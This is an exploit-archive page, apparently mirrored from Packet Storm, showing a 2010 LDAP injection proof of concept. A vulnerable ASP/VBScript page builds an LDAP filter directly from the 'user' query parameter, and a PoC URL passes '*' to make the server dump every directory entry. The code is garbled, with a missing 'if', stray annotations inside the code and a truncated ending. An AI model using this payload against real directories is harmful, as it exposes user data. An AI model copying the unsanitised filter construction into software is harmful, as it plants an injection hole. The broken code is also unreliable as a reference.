Lucene search
K

LDAP Injection Proof Of Concept

🗓️ 09 Feb 2010 00:00:00Reported by mc2_s3lectorType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

LDAP Injection Proof Of Concept. Exploit in web app with LDAP querying vulnerabilit

Code
`[+] Vurnerebility: LDAP Injection   
[+] Category : Implemented Web exploit   
[+] Category : Attack Technique  
[+] Author : mc2_s3lector   
[+] dork : X/o\"   
[+] Contact : www.yogyacarderlink.web.id  
[+] date : 4-2-10  
[+] biGthank to : Allah SWT,jasakom,KeDai Computerworks,0n3-d4y n3ro,eplaciano, all*.indonesian like a coding,  
  
---------------------------------------------------------------------------------------------------------------------------------------------------  
Directory acces protokol/directory manipulation,protokol breaker->standar protocol,query  
custom statement,page request,componen execute command,data base server,web apps services  
modify,remove etc.  
---------------------------------------------------------------------------------------------------------------------------------------------------  
  
code:  
<html>  
<head>  
<body>  
<%@ Language=VBScript %>  
<%  
Dim userName  
Dim filter  
Dim ldapObj  
Const LDAP_SERVER = "ldap.example"  
userName = Request.QueryString("user")<-----------*1(LOOK THIS BUG LINE PARAMETER USER=EMPTY)  
  
( userName = "" ) then  
Response.Write("<b>Invalid  
request. Please specify a  
valid user name</b><br>")  
Response.End()  
end if  
  
filter= "(uid=" + CStr(userName) + //((*1))  
userName used to initialize filter variable on this line direct query LDAP call to finf filter on ((*.3))  
")" ' searching  
for the user entry  
'Creat LDAP object and setting  
the base dn  
Set ldapObj =  
Server.CreateObject("IPWorksASP.LDAP")  
ldapObj.ServerName = LDAP_SERVER  
ldapObj.DN =  
"ou=people,dc=spilab,dc=com"  
'Setting the search filter  
ldapObj.SearchFilter = ((*.3))filter<---call SearchFilter on this line  
ldapObj.Search  
'Showing the user ennumeratin info  
While ldapObj.result = ((1*.4 to *.5))  
Response.Write("<p>")  
Write("<b><u>User  
information for : " +  
ldapObj.AttrValue(0) + "</u></b><br>")  
For i = 0 To ldapObj.AttrCount -1  
Response.Write("<b>" +  
ldapObj.AttrType(i) +  
"</b> : " + ldapObj.AttrValue(i) + "<br>" )  
Response.Write("</p>")  
Wend ((*.5))  
%>  
</head>  
</body>  
</html>  
---------------------------------------------------------------------------------------------------------------------------------------------------  
control over LDAP to querry =server LDAP & get query result from ((*.4 to *.5))  
  
POC:  
  
http://server/ldapsearch.asp?user=* <----send the * character in the parameter user,result flter variable in code to be initialized with  
(uid=*). The resulting LDAP statement will make the server return  
-------------------------------------------------------------------------------------------------------------------------------------------------  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation